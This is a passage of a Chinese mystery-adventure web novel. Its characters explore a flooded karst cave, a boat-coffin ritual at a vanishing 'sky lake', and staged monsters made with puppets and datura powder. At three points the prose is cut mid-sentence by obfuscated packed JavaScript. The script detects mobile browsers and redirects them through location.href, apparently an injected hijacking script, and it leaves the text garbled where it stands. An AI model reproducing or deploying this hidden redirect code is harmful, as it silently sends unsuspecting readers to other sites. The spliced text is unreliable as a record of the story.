她担心只要她们一离开这里,就会被她二爸,还有暗处的眼睛发现。 余一舟狠下心,看来只有学习屠南,主动出击了。 ****** 屠南这次是从李萍给她指的一条小路进入溶洞。 小道隐蔽,但找起来并不算太难。 沿着村尾那条小河逆流而上,找到一个无字碑,无字碑后面的树丛里有个矮洞。据说过去没通自来水的时候,遇上干旱村里缺水,人们会由此进入溶洞取水。为了取水方便还在这修了一条简陋的石梯。经年不用,上面长满青苔,湿滑无比。 李萍管溶洞里面的河叫阴河,听起来邪乎,其实就是暗河、地下河,常见于喀斯特地貌。 这种地下河的水系往往错综复杂,就像之前从二仙庙地下出去看到的水,与现在从矮洞进来看到的水截然不同。 前者清冽,如明月洒下清光。后者浑浊,像是油青种的翡翠,青暗灰邪。 屠南绕着那块近似圆形的巨大“翡翠”兜了一圈,由一个低矮的小洞进入了晦暗的洞道。走了大约十几分钟,看到了一个形状熟悉的钟乳石柱。继续向前,爬上小坡,就到了之前停放张洪涛船棺的小平台。 这一带暗河涨水明显,一路走来,地面的水越积越多,一些地势略低的地方,之前他们经过时只是打湿鞋面,这会要再从上面经过,估计要没过小腿。 屠南贴着外圈相对干爽的地方,三步并两步爬上石台,原本放在这的箱子、船棺竟然都不见了。 绕着周围的钟乳石柱又仔细检查了一遍,东西被人搬得干净,一样不剩。 她来这本是想再检查一下那个装着小人书的木箱,看看张洪涛笔记本中丢失的关键的三页纸会不会在这里。 她怀疑天湖和太阴之水的秘密就在那三页纸上。 如今箱子没了,她没有了留在这的必要。 转身准备回去,一滴水突然落下,正好滴在她脖子上。水滴冰寒刺骨,冻得她起了一胳膊鸡皮疙瘩。 嘶了一声,屠南把手电光打在头顶的岩壁上,光束在黑暗中漫开,像轻纱一般拂过洞顶一簇一簇的钟乳石花。 来回扫了两三遍,她将光柱停在一处,口中咕哝:“北斗七星……” 人走路时,尤其是在难走的路上,都是下意识看着脚尖的。只要不想摔跤,没人会一直往头顶上看,所以她之前一直没有注意到这一片连成串的石花,正是一个勺子的形状,勺柄朝二仙庙方向,勺身正好相反。 都说众星捧月,七星伴月,找到了北斗七星,会不会就能看到月亮,也就是太阴了? 屠南手撑石头,跳下那块小平台,沿暗河来到“勺身”附近。 果然,“勺身”所对的正下方,暗河之中,有个磨盘大小的黑洞,正在源源不断向外“吐水”,像个泉眼。 屠南犹豫一番,还是决定涉水过去。她必须去黑洞周围瞧个明白,太阴之水的玄机很有可能就在这! 也不知是不是心理作用,暗河的水好像比她几个小时前跳进来时还要冷。 稳着身体,连走了四五步,水就没到了大腿根。好在两条腿已经逐渐适应水温,针扎感有所缓解。 她抬起腿准备继续向前迈,突然感觉什么东西蹭到裤腿,又很快滑走了。 她倒吸口凉气,那东西是白色的,游得极快。眼疾手快扑上去,竟是条棉帕子,展开看,上面用防水的黑色粗笔写了八个字—— 七星之光照我以明 “什么人!”屠南把手电转向暗河上游,模模糊糊看到个人影。 那人穿着蓝色的冲锋衣,深色裤子,背微驼,回头时,眼镜片还会反光。 “沈老师……” ****** 周筱安对隋影说有个非她不能的神秘任务,两人进了二仙庙的大门,就直奔活洞。 周筱安开门见山:“你不是一直想证明自己?机会来了。” 在他看来对于隋影这个从小就不爱读书只知道挥拳头的人来说,什么历史啊、典故啊都是对牛弹琴。何况时间紧迫,也没那个闲工夫跟她徒费口舌。 不过隋影并不吃他的激将法:“谁想证明?你给我钱,我替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821837|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你办事,我们之间除了金钱,没别的关系!” “好,钱少不了你的……现在就请你下去,帮我找样东西。”周筱安重重强调了“请”,心说要是金不换在就好了,请这大小姐干点事真费力气。 看她没反驳,他抓紧补充:“就是个人偶,在角落里,一会你用这根绳……” 隋影以为他是让自己攀着这根绳下去,立刻把怀里的绳子丢在地上:“我不需要绳子。” 这虽不是大事,但事关尊严。 她深知自己十八般武艺,十七样稀松。作为形意拳传人的后代,她贴身近打用的都是和金不换学的泰拳招式,并非家学。最拿的出手的就是上墙爬高的本事,但这在城市里也很难用到。正因如此,才会被某些有眼无珠的人小看、阴阳! 周筱安抓住绳头,扔给她:“你不需要,人偶需要。它不会爬墙,一会用这根绳绑到人偶身上,绑好了叫我。” 隋影哦了声,抓起绳头,走到活洞前,跳了下去。 下面不算深,绳子还留了一些圈在地上。过了几十秒,绳子又被拖入洞一截,等它彻底不动了,周筱安冲洞内喊:“好了吗?” 手里的绳子被拽了三下,他往上拉了拉,果然有了重量。 人偶被拖上来时,他又问了隋影一遍,是否需要帮助,隐约听到对方的骂声,他自知多嘴,痛快地闪一边了。 殊不知隋影这次还真吃了嘴硬的亏。 她的壁虎游墙虽能垂直攀升,但里面的墙面、地面高低不平,那条洞道底部距离地面还有两三米高,且洞壁湿滑狭窄,四周与墙皆不相依,她试了很多次都找不到着力点。 不过海口夸出去了,撞了南墙也不能回头。 她灵机一动,从那堆杂物里翻出两只木头箱子,叠在一起,放在洞下。这样她只需稍稍助跑,借着箱子纵身一跳,抓住洞边,出去就有戏。 一切都按照她的设想有序进行,只有洞壁的粘滑程度,和洞顶那层半透不透封膜的坚韧程度,超出了她的预料。 第一次尝试没能破顶,隋影顺着洞道滑了下去。好在她双腿有力,又坚持了一阵,最后还是在借力向上时脚下打滑,彻底掉了下去。 她整个人落在箱子上,箱子翻倒在地上,箱子里的陶罐摔成了几瓣,陶罐里的粉末撒了一地。 好在她年纪轻,身子灵巧,一个“上提回腰”躲了过去,不然非得被地上的陶罐碎片扎成刺猬不可。 “他大爷的!” 隋影心有余悸,抓起一把粉末,放在手电下细瞧,瞧了半天也看不出什么名堂。 就说这粉末黄不拉几,粗粗糙糙,还有股臭味,总不能是什么名贵东西吧。要真是名贵东西,也该算到他周筱安头上,她可是帮他取东西,岂有倒贴的道理。 她把那黄粉扬出去,又在裤子上把手蹭干净,准备摆好垫脚的,再试一次。 弯腰搬箱子时,身后的石门突然打开了。她只听周筱安说,这里面有个开关可以打开石门,不知道石门还可以从外面打开? 她师兄金不换说过,这个村子里除了他们三个都很危险。隋影想也不想,手里的箱子脱手而出,向石门扔去。 只听嘭的一声,箱子居然弹了回来,直朝她面门而来。 她一个横踢,扫清了面前的障碍,定睛细瞧,站在石门口的竟是……周筱安。 怔忪之际,头顶传来熟悉的说话声:“哎,大姐,你还上不上来了?干什么呢?叮叮咣咣,小心点!” 那声音还是周筱安的。 地上地下竟有两个周筱安。 隋影瞳孔放大,喊出声来:“有……有有鬼啊!救命!” 23. 天湖(上) 余一舟将李萍的面包车开进了一个相对隐蔽的树丛,等她带李春梅三人出来,他就准备先带她们冲出石船村。 他查过,出去的路已经通了,他打算先把三人送到黄水铺的中心医院,那不光可以看病,而且人多,相对安全。 所以刚才,天擦黑,趁着送晚饭的机会,他跑了出来,引走了李学昌。按道理,李萍带着三人过来汇合应该不会迟他太久,难道是计划的“声东击西”失败了? 余一舟看了眼时间,距离他们约定的时间过去了十几分钟。 时间还在一秒一秒流逝,他等不及了,下了车,准备回去看一眼,突然被远处的汽车远光灯闪了一下。 荒野老村来了群不速之客,他躲进树丛,暗暗跟着那四辆行驶很慢的汽车。 那些车开了没多远,就在李学昌的寿木铺门口停了下来。下来十几个人,都是男人,老的还需要人搀扶,年轻的看起来比他的岁数还小。 这些人都穿着和李学昌类似的黑色对襟素衣。 会不会是王家人? 余一舟的心咯噔一下,如果李萍她们还没能顺利出来,这下就彻底没有机会了。他尝试给屠南发信息求助,但对方并没有回复。 这些人进了李学昌家,再出来,每人头上都戴了个傩面,就像他和周筱安在戏台见到的那样。 看走路的步态,为首一瘸一拐的应该是李学昌,他刚才不是追着自己出来了,什么时候又回去了? 几个看起来比较轻盈,估计是年轻人的,两两一组,抬着三口船棺。 李学昌喊了声“起船”,三只船棺离开地面,被人用两条长木头挑在肩上。 这些人像是一支秘而不宣的送葬队伍,走了一条他完全不知,也没听李萍说过的小路,进入一处岩洞,又从岩洞出来,上了一条栈桥。 余一舟不知不觉地跟着他们上去,天气晴朗,月光明亮,把栈桥旁边的水照得十分清晰。 他只用稍稍引颈,就能看到水中除了一饼“缺角圆盘”,还有七八颗忽明忽暗的星星,正是那些人手上提的老式汽灯映在水里。 这就是屠南在找的天湖!他不敢发出声音,但举着手机偷拍的手因激动颤抖不已…… 和他同频颤抖的,还有走在队伍中间,被父亲叫来“出苦力”的年轻人。 “咳咳,还要好久……哎……咳咳……”年轻人喘着气,步履维艰,挂着船棺的木棍和后面高个子倾覆上来的重量把他不加训练的肩头磨得火辣。 父亲回头瞪了他一眼:“我听到起了,快了……” 又走了一会,人们在栈桥尽头停下来,那是一个悬空的石台。 被长辈们称作鬼师的人不让他们把船放下,他的肩膀真的要撑不住了。 他抬起头,坑顶远在天边。身后,世界正向他倾斜。 年轻人本以为父亲大晚上带他来老村是给祖宗烧纸,没想到被带进天坑,参加什么夏节庆典。 他第一次听说家里有这个传统,心里还有些小兴奋,以为会像他在网上看到的闽南游神一样热闹,到了才知只有他们王家一家参加,这一路上也没有什么灯火戏乐,只有鬼师时不时喊几嗓子他听不懂的戏文。 “还等啷个嘞?”他忍着火气问。 “王佑安!”父亲怒气冲冲地朝他吼了一声,接着回头继续和家里的几位长辈窃窃私语。 一直往他肩膀上泄力的堂哥想必是良心发现,悄悄告诉他,这在等山神指引。 山神?还指引? 他觉得好笑,堂哥却一本正经地说,上一次,他看到从水底窜出一条火蛇,在天坑里绕了好几圈,回到水中时,正好照亮了一颗巨大的白莲仙君头颅。那情形他至今都忘不掉,回去连续好几晚都做噩梦,次次都被吓醒。 “火龙?不会是湖怪吧……”王佑安嘴上调侃。 堂哥一脸惊恐地告诉他,天湖只有夏节庆典这一天才会出现,平时这里就是天坑底下的一片树林,哪来的水怪,那分明是山神的使者。 他惴惴不安,他和堂哥不同,从小生长在城里,上小学时就去了父母做生意的城市,偶尔也会和父母一起回老家祭祖,但从没来过天坑,更没听说过几年才出现一次的湖。 肩膀上的痛感将他从恐惧中短暂抽离:“哥,能不能先放一下,肩膀要废了。” 堂哥摆手,示意他小声点:“下船之前,船不落地……” 堂哥说下船,他爸也说下船,下船究竟是什么,他什么都不知道。王佑安叹了口气,准备换个肩膀来受力,突然那船自己动了起来。 堂哥喊叫着将船摔在地上,他也跟着扔下木棒。 看到他们这样,在场的人都聚了过来。没钉钉子的船盖剧烈晃动,受到麻绳的限制,一度被卡住,被堂哥用木棍捅到一边。 “住手!” 堂哥的木棍挥到半空,被人大声喝止。 所有人回头,只见一个陌生的年轻人推开他们跑到船前。 “怎么是你!” 余一舟以为这里面躺的是李春梅,但看到的却是李萍。 李学昌看着坐在船棺里的侄女,一把摘掉傩面:“那个屠南嘞?” 李萍咬着嘴唇,不打算解释。 余一舟不可置信地看向李萍,李萍点头。其实她也不敢相信,她只是想帮李春梅在三口船棺中找到张洪涛,没想到却看到了昏迷的屠南。 看李萍的表情,屠南应该是被她藏起来了,那另外两口棺里难道是李春梅和秦萧潇? 余一舟当着王家人的面打开了另外两个船棺,和这个一样,船棺都没有钉棺钉,更奇怪的是,他这样做居然没被王家人阻拦。 “二妈!”李萍睁大了眼睛。 另外两只船棺,一个里面躺着张洪涛,另一个里面也是个琥珀人,是李学昌的亡妻罗洁。 看到这里,一位王家的老人终于开了口:“李学昌,你在弄啥子!” 原来,夏节庆典要给山神准备三条船,待火龙升天,看到山神的指示后,再将船放入水中,这就叫下船。 三条船里要放三个人,而且一定要是身形完好的死/人。如今李学昌竟想整个活人进去,这活人还不见了,怪不得山神不得显圣。 “不行,不能下船!”李学昌麻木的脸上终于有了表情,他像是想起什么,激动地展开双臂,挡在众人面前,好像他们中午在岩画上看到的那个踩大蟹的女巫。 李学昌话音刚落,身旁的声音此起彼伏。 “啥子意思?” “一条都没得,怕是要遭……” 刚才代表王家说话的那位老人戳了戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821838|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在王佑安旁边的干瘦老头和一个大腹便便的光头中年男人,趁李学昌与李萍说话,将另外两只船棺先推入湖中。 李学昌被几个王家人拦住,只能眼睁睁地看着。 “你们!” 石台上一阵骚乱,王佑安害怕地退到人群之后。 看着两只月亮船漂向湖心,他的眼睛好像进了磁铁,被湖面牢牢吸引,嗓子眼也有点痒,特别想唱一首幼时学过的儿歌,叫《小白船》,他只记得最后一句词,飘啊飘啊飘向西天。 歌在脑子里只哼了几句,他突然指着大湖,张大了嘴:“水……水动了!” 推搡的人们停下了动作,看向湖心,看向不断旋转的小船。 “天湖收水了……”李学昌喃喃说着,发出令人惊悚的笑声,笑着笑着他扑通一声跳入湖中,没了踪影。 ****** 李春梅找到“北斗七星”对应的洞口时,地下暗河的水流汇入洞内的速度越来越快,按照她事先藏起的从张洪涛笔记上撕下来的三张纸上所记,这里用不了多久还会恢复之前的样子,变回一条河流。 要想进洞,必须要快。 毕竟是上了年纪,加上多日的折腾,她在进洞时明显感到体力不支。弯腰弓着背走了几分钟,她找到了目标的硝坑。 硝坑就是一个熬硝石的池子,通过这种方式提炼出来的硝可以造火药,还有药用价值,西南地区的大山里有不少过去人遗留下来的硝坑。 她眼前的这个和张洪涛用水下无人机拍摄的一模一样,一大一小两个,小坑底下有个洞,洞口塞了块石头,石头上刻了个符号,和张洪涛尸体手心的符号一样。 由于这一层的积水已经淹过小坑,李春梅跪在地上废了很大力气才把那块堵在坑口的石头拔出来,从里面摸出一个茶饮料的大口塑料瓶。 塑料瓶里有个卷起来的透明塑料袋,塑料袋里放着一封信,信封上写着“屠南亲启”。 李春梅顾不得那么多,直接打开了信封。 【屠南同学:抱歉欺骗了你,没让你跟来。石船村的情况颇为复杂,我恐怕出不去了,只能用这种方式,把目前收集到的一些情况记录下来,留在这里。如果你能看到这封信,还请帮忙交给警察同志,剩下的事情交给他们处理就好。你的身世我应该已经没有机会继续调查了,不过我也列出了一些猜测,希望能够帮助到你。最后还有一个不情之请,我没有兄弟姊妹,父亲早逝,只留下母亲一人。我不在之后,还请你帮忙将我母亲送去养老院,如果逢年过节稍加关怀,更不胜感谢……】 署名,沈垚。 水浪一再冲刷李春梅的膝盖,一会就来到大腿。她一边向洞口移动,一边小心地把信纸折好,放回信封,再放回塑料袋,最后卷起来放进塑料瓶里。 担心自己手滑抓不稳,她走了几步又停下来,将瓶子塞进贴身的上衣里,上衣扎进裤子里。 水位升的极快,她移回到洞口时,下面的水几乎已经碰到鼻尖。她憋了口气,使出吃奶的力气逆着水流爬上了暗河的河床。喘息间,耳边传来轰隆隆的巨响,一股快要将溶洞撑破的洪流浩浩荡荡向她席卷而来。 这次她躲无可躲。 她站起身,闭上眼,回想着上水中普拉提课时老师讲的动作技巧,向后仰了过去。 24. 天湖(下) “屠屠,是你吗?”树林里安静的异常,周筱安的脚步声显得十分突兀。 大概一个小时前,他刚把惊魂未定的隋影交到半途折回的金不换手中,就收到了屠南的微信,约他在戏台见面,说是有要紧事相告。 等他到了戏台,只见屠南鬼鬼祟祟,连个招呼都没打,一闪而过,向戏台北边的树林里奔去。 他叫了她好几声,她都毫无反应。担心她因为精神方面的原因,又做出中午那般举动,周筱安一直跟着她在树林里绕圈。而她一直神龙见首不见尾,隔一会能听到些动静,刚看到一个影子,就又悄无声息了。 这样连续了几次,再抬头,月亮已经高挂枝头。 看到余一舟在群里发的小视频,心里担心着天湖那边的情况,周筱安不想再耽搁,走出树林,来到崖边的空地上,被汗水湿润的脸上突然蒙上了一层冰霜。 “你不是屠南,别装了,出来吧!” 对方没有回复,但应该是听见了他的话。 一阵匆忙的脚步声后,没有等到那人出现,漆黑的林子俶尔燃起一团鬼火,不及他反应,一条大蛇腾空飞出,衔火而来。 见识过活洞和尸蠋,周筱安心里早有准备,这指不定又是什么障眼法。 “……哎,这位朋友,放火烧山,小心牢底坐穿!” 他闪身一躲,与蛇头刚好错过。 火蛇在他头顶上方盘旋了几圈,火势不减反盛,看样子是要卷土重来。 “不是,咱们能不能好好聊一聊,你上来就给我表演这些,我可不付费哦。”周筱安被烟呛得捂住口鼻调笑道。 火蛇笨重,每一次攻势虽猛,但灵活不足,几次三番只是烧到了周筱安的衣袖,或者燎了他几根头发,看着唬人,除了累人,根本构成不了实质上的伤害。 周筱安把胳膊撑在膝上喘息的功夫,突然看到一个人朝他走来:“筱安,筱安……” 周筱安蹙眉:“爸,你怎么来了,你不是……” 他大脑先是一片空白,转念想这一定是假的。他爸两年前就因为车祸成了植物人,住在疗养院里。同样因为意外变成“行尸走肉”的,还有从小到大陪伴他长大的保姆,兰英阿姨。 “不要再查了,害我的人……” 父亲的话还没说完,虚弱苍白的脸上突然绽开一朵火红色的花,仔细看,那是被火烧出的大洞。 洞越烧越大,露出了吐火的蛇头。 周筱安察觉到时,他已经与火蛇四目相对,眼中的火光将要溢出眼眶。 来不及躲闪,他只能抱头蹲下,企图躲过这波。热浪逼近,突然被一阵风挡住。 是屠南。 她趁火蛇犹疑,飞快抬腿,上步勾踢后,一个漂亮的翻身落地。 蛇头不堪重击,摔落在地,化为一堆焦炭,原本控制蛇头的两只木鸟啄着轻飘飘的蛇身飞回树林。 “黄金无假,戏法非真!”屠南朝坐在地上的周筱安伸出手。 对方反应了一会,确定眼前不是幻象,才抓着她站起来。 “这是什么情况?”周筱安跟在屠南身后,她走的很快,似乎是要赶紧离开这。 “我醒来时,在李学昌家的床底下,他们都不在。看余一舟发的视频,他们应该去天湖了。” “你醒来……你不是约我去戏台?” 屠南翻了一下聊天记录,是有这么一条,她想了想:“那是我还醒着的时候发给你的。” 回头看周筱安一脸茫然,她顿了顿,声音冷冽:“我在二仙庙下面的溶洞里看到了沈垚……” 追过去时,她莫名其妙地晕了。 “那这样说我在戏台看到的那个人影也是他?” 那就意味着失踪的沈垚没死,还活着!可沈垚为什么要这样做,那些提示明明就是他给的,难道这些也是诱饵?周筱安不敢细想。 屠南在树林前面停了下来。 前脚“飞龙入渊”刚刚谢幕,还没捞到一个中场休息的机会,林子里又传来了孩子的啼哭声和马蹄声,风过之处,不得安宁。 “我找你是想问穴位。”屠南警觉地盯着树林,嘴上继续向周筱安讨教。 有屠南在,周筱安放心不少,话也愈发多起来:“我知道,不过经络太复杂了,三言两语说不清。” 屠南把挡住眼睛的乱发向耳后拢了拢,摸向腰间,抽出军刺,做好了迎战的准备:“那就挑点不复杂的,说重点!” “《灵枢》里讲,夺阴者死,夺阳者狂。就是说邪气在人的经脉上,误泄阴经,耗伤脏气会致死。误泄阳经,损伤阳气,会发狂证。” 狂证就是神志逆乱,屠南立刻想到了李春梅、秦萧潇,还有那个小女孩西西。 屠南又问:“那线?” 周筱安回答:“二仙庙地下的就是一个普通的模特人偶,用刀刺开,里面并没有线。” 马蹄声离他们越来越近,两人没有手电,眼前一片漆黑,什么都看不到。 屠南和周筱安一步一退,又回到原处。 一匹戴着傩面的马信步出了树林,仰头嘶鸣时发出的竟是婴儿的声音。 周筱安寒毛倒立,想说的话全都忘了。 屠南不会宽慰人:“这东西有可能是窫窳,一种会吃人的上古凶兽,人面马足。” 根据《山海经·北山经》中记载——又北二百里,曰少咸之山,无草木,多青碧。有兽焉,其状如牛,而赤身、人面、马足,名曰窫窳,其音如婴儿,是食人。 周筱安:“人面,食人?还是上古……” 屠南嗯了一声,书上是这么说,她也没见过。她也是在岩画上看到那个四脚兽后,得到灵感,去网上搜的。 周筱安心中暗暗感谢这位放窫窳出来的人,还知道给它戴个面具,搞个限制级,不然真让他看到人面马身他还不得人仰马翻……只是,戴上面具,它还怎么食人,这是不是说明对方只是想吓唬吓唬他们,并未准备动真格…… 这怪物不愧长了四条马腿,跑起来像上了发条。两人全程站在原地跟着它摆头,根本用不着跑。 “既然引我们来这,总不是想比跑步吧?”屠南微微挑眉,语气有点挑衅,有点嚣张。 那怪物好像听懂了,停下来,朝着她站的方向走起了优雅的直线,然后毫无预告地蓄力狂奔。 “要死!”屠南躲了它两回,还是被它顶在肚子上,差点飞出崖外,好在她及时抓住了崖边的树枝,逆转了局面。 “屠屠,你没事吧?” 周筱安刚要上前扶她,就听她喊:“离远点,它一个,我们两个……” 肋骨的疼痛让她没有接着说下去,不过周筱安秒懂,这是要分散那怪物的注意力。 可光这样“斗牛”玩,迟早要被顶到崖下去。 “那怎么办?”他心说哪怕有根胡萝卜也好,还能吸引一下它的注意力,他手上什么都没有,巧妇难为无米之炊。 “黄金无假,戏法非真……”屠南一直告诫自己,破解假物的关键就在于找到它身上最不符合常理的一点,也就是破绽,细究下去,就会有突破。 “窫窳为什么戴傩面?”她慢慢退到小树林这边,虽然这样一来会把后背暴露给看不见的敌人,但至少不会死于坠崖。 被这么一问,周筱安觉得自己之前想得过于简单,幕后之人绝不会因为想保护他们的眼睛,才给窫窳戴傩面。 “他不想我们看到怪物的脸?” 就算是人脸,无非恶心些,真露出来,还能起到更好的恐吓效果,至少对他来说是这样。 周筱安还没反应过来,屠南和怪物同时出击向对方冲去。窫窳的目标是把她撞下悬崖,她的目标是撕下它的面具。 木头傩面被踩碎了,怪物果然停下了脚步,像个刚过门的新妇,“害羞”的不愿回头。 周筱安试探地朝它喊道:“既然如此,那我们可就不奉陪了!” “哇哇~”一声声脆亮的婴儿啼哭声传来,周筱安回头,怪物已经转身,他下意识后退了几步。 人头牛马身的人头,居然是商场橱窗里千篇一律的模特脸。而且这位模特的眼睛还闪着红光,怪不得能准确定位,原来都是科技与狠活。 戳穿了怪物的真面目,想对付它就相对容易了。 接下来就是两人配合,一个吸引它的注意力,一个用石头攻击它的头部。周筱安的射击俱乐部没白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821839|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参加,准头不错,没用几次就打掉了怪物的头。 但高科技的头只有监视、定位的作用,没头的窫窳还是能动。 “它没有眼睛了,要控制它,只能靠控制者自己的眼睛了。”屠南看了眼黑漆漆的丛林,又看向周筱安。 周筱安会意,钻进小树林。 屠南不紧不慢地来到崖边,往下看了一眼,大湖正在收缩。 “天湖是不是和地下暗河的运动有关?你是想把我扔进天湖?可这有什么用呢?我还不知道你们的秘密呢,就算要灭口,也为时尚早吧……” 听了她的话,没了头的窫窳安静地停在原地,不一会树林里传来一阵骚动,应该是周筱安找到了操纵窫窳的人。 屠南准备去帮忙收网,那没头怪又活了过来,挡住了她的去路。 “莲芝……莲芝,就待在这里,等我,别动……”她的眼前闪过一个画面,在一个忽明忽暗的房间里,一个女人长着阿南刻的脸,穿着棉布旗袍,浑身是血。 耳边好像还隐隐约约传来周筱安的声音:“屠屠,快跑啊!” 屠南迷惘地站在崖边,似乎完全没看到那个没头怪正向她冲来。 周筱安捂住眼睛,还是身旁押着人的隋影向他的屁股踹了一脚,他才敢看。 屠南没有掉下去,她躺在地上,崖边是一片狼藉。 问了金不换才知道,关键时刻她竟一个单臂侧撑后仰,钻进窫窳身下,将匕首刺进怪物腹中,然后这无头怪居然就原地分解了…… 屠南躺在地上休息了一会,起身冲这边喊道:“好精彩的戏法,我该叫你山神,还是王莽子?” 王莽子被隋影推着走出树林,身后还跟着周筱安和金不换。 “他们俩就是我跟你说过的朋友,这是随影,这位是她师兄金不换。”周筱安介绍道。 屠南朝二人点了点头,目光扫到王莽子身上,此人又故技重施:“他们俩就是我跟你说过的朋友……” “行了,别装了……”周筱安话音刚落,就看隋影一掌打在王莽子背上。 “好好说话!” 周筱安嗤笑:“说句公道话,这可不能怪隋影野蛮,虽然她平常确实有点野蛮,但也是你的洋金花粉招惹她在先。” 洋金花就是曼陀罗,可致幻。戏台的火门,还有刚才的火蛇之所以看起来可怕,都是它的功劳。隋影在二仙庙下面打碎的罐子里就装满了掺了洋金花粉的松香粉。 王莽子眼珠子转了转:“说句公道话……” 这公道话还没学出来,背上就被人来了一肘击,回过头,女金刚怒目,并亮刀威胁:“闭嘴!” 屠南看了眼隋影手上的刀,刀型奇特,看不出是做什么用的,刀柄古拙,上面还刻了个“隐”字,和她大大咧咧的性子不太相符。 周筱安拦住了还准备吓唬人的隋影,转而对王莽子说:“你呢,也别装傻了,怎么还上瘾了……你看得懂医书,知道用芸香草驱虫,玩得了这么复杂的戏法,还会养尸蠋,你要是个傻子,那我们成什么了?” 他看隋影的悬顶之掌从王莽子头上移到了自己头上,赶忙给这位姑奶奶赔不是:“这个‘我们’不包括你!” 又回头看向一脸严肃的屠南:“也不包括你。” 大家都惹不起,他说他自己还不行吗。 回到正题:“还有刚才那个怪物,想必你的用线也是有些门道吧?真是难为你了,这么有才华,居然就窝在这深山老林,天天崇拜劳什子山神……” “哈哈哈哈,哈哈哈哈哈……” 周筱安也不知自己刚才说的什么刺激到了王莽子,让他如此兴奋,兴奋到三人都被他的笑搞得毛骨悚然,退后了几步,在他对面形成了防守之势。 笑声来得快,去得快。天空响起一声闷雷,开始落雨,雨滴好像是聪明药,滴在王莽子的脸上,令他容光焕发。 “他这是要做什么?”周筱安小声问屠南。 屠南也不知道。 只见王莽子突然跪地,对着几人磕头大喊:“洪荒开元,天有巨浪。乘此巨船,驶入彼方。” 闪电中,远处一块凸起的山岩,好像巨船的船头,在风雨中缓缓开动。 25. 退潮 去县公安局配合调查结束,大家坐上了金不换留下的车。 由于李萍的爷爷奶奶年事已高,离不开人,所以要先送她回石船村,剩下的人一起返回主城,各回各家。 金不换有急事,一早就回湖城了,保护周筱安的重担落在了隋影肩上。想到这一路自己只能和周筱安同行,隋影越看他越不顺眼,尤其是还被使唤来使唤去,连听歌都要喊她放,她是丫鬟吗? “我是保镖,不是保姆。手不能用,建议剁掉,送到隔壁四川去煨蹄花汤。” 说到蹄花,坐副驾上的周筱安还真觉得腹中空空,他拿掉了盖在脸上的帽子,正襟危坐地愣了会神。 这车胎噪声大,他睡不安稳,想聊天打发时间,后座上的三位似乎都没这意思。那就听别人聊天吧,他打开电台,交通广播的音乐节目正放着一首张信哲的老歌,爱如潮水。 余一舟听到歌,也睁开了眼,视线穿过旁边的屠南,看向窗外快速移动的树子。 “确实退潮了……” 想到公安局门口,李春梅和张建平像陌生人一样向各自的方向走去,张建平搂着新欢,牵起女儿的手,李春梅被友人搀扶着,一只脚缠着绷带,还真是令人唏嘘。 周筱安显然和他不在同一个频道:“水虽然退了,但仍有许多未解的谜团。” 王莽子被抓了,但他也是真的疯了,什么都说,就是一句都听不懂。 他们还是不知道他把屠南骗到这里要做什么?更不知道天湖献祭和李春梅所谓的复活儿子有什么联系?唯一可以确认的是,李学昌可能也是个被王莽子控制的傀儡…… 余一舟撇了撇嘴,没接话。 周筱安转而问屠南:“屠屠,你怎么看。” 看屠南叹了口气闭上眼,余一舟乐出了声。屠南能怎么看,当然是闭上眼睛看。解决问题最好的方式就是闭上眼,看不到,就不用解决啦。 大家沉默了没多久,车停了,说是前方有山石滑落,出了车祸。一会就点线面连成一片,前面过不去,后面退不回。 隋影打听消息回来,气冲冲地甩上门:“都是你的破歌唱的,被包围了,出不去了吧。” 这碰瓷碰得也太随意了,周筱安急赤白脸:“那是‘爱如潮水将你我包围’……啊呸,我才不要跟你围一起。” “那你下车步行啊……” 余一舟难得当回和事佬:“两位,冷静冷静,有话好好说。” 屠南也睁开了眼睛:“确实,这里面还有许多未解的谜团。” 就拿她自己来说,她依旧记不得上大学以前的事。她最早的记忆还停留在从精神病院的病床上睁眼,床头放着她的录取通知书,护士阿姨面露同情地告诉她,她的父亲屠刚前不久因尿毒症去世,母亲更是很早就因意外离世。她不知道自己是什么时候犯病的,也记不清为什么有精神方面的问题还能参加高考,甚至还选了这么一个奇怪的专业。 从那时起,她变成了一个全新的人,没有一位曾经的亲友与她联系,而她的所有费用,大学一直到博士的学费都是一位不知姓名的好心人捐助的。 沈垚在那封信中猜测,她极有可能是被拐来的孩子,因为发生了某件事,受了刺激,导致失忆。但现在所有的事似乎都无从验证,因为当事人中只有那位好心的捐赠者还与她偶有联系。对于好心人来说,她应该不是唯一的受助者,想必对她的情况应该也没那么了解吧…… 看屠南脸色不太好,周筱安把话题引到了余一舟身上。 “哎,钱眼子,你们前天晚上是怎么配合的?1vN还能全身而退。” 余一舟哼了一声,打趣道:“打配合?被配合打还差不多。” 